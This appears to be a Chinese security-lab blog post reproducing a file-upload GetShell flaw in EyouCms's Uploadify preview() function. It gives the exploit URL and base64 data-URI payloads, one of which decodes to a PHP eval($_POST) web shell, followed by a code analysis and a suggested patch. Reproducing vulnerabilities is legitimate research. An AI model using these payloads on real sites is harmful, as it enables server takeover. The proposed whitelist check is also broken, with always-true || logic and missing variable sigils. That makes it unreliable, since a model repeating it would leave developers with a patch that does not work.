文章源自【字节脉搏社区】-字节脉搏实验室
作者-Beginners
0x01 EyouCms前台GetShell漏洞复现
EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)
0x02 漏洞复现:
利用路径:
/index.php/api/Uploadify/preview
POST数据构造:
data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
直接访问:/preview/文件名.php
测试写入Shell:
data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs=
0x03 代码分析:
漏洞文件:\application\api\controller\Uploadify.php
漏洞触发函数:preview()
获取POST构造输入的数据,在利用preg_match()获取其中文件后缀和Base64编码数据赋值于$matches;
把获取的Base64编码数据matches[2]和文件后缀matches[1]拼接为文件名
判断文件是否存在,若不存在则Base64进行base64解码后通过file_put_contents()写入文件中后输出filename(文件名);到/preview/目录下;
0x04 漏洞修复:
使用白名单判断文件名后缀;
在Uploadify.php中213行到214行的代码修改为如下:
if (type !== 'jpeg' || type !=='png' || type !=='gif' || type!=='jpg') {
exit();
}
0x05 Cms下载地址:
下载地址:
https://share.weiyun.com/DGjtKLuR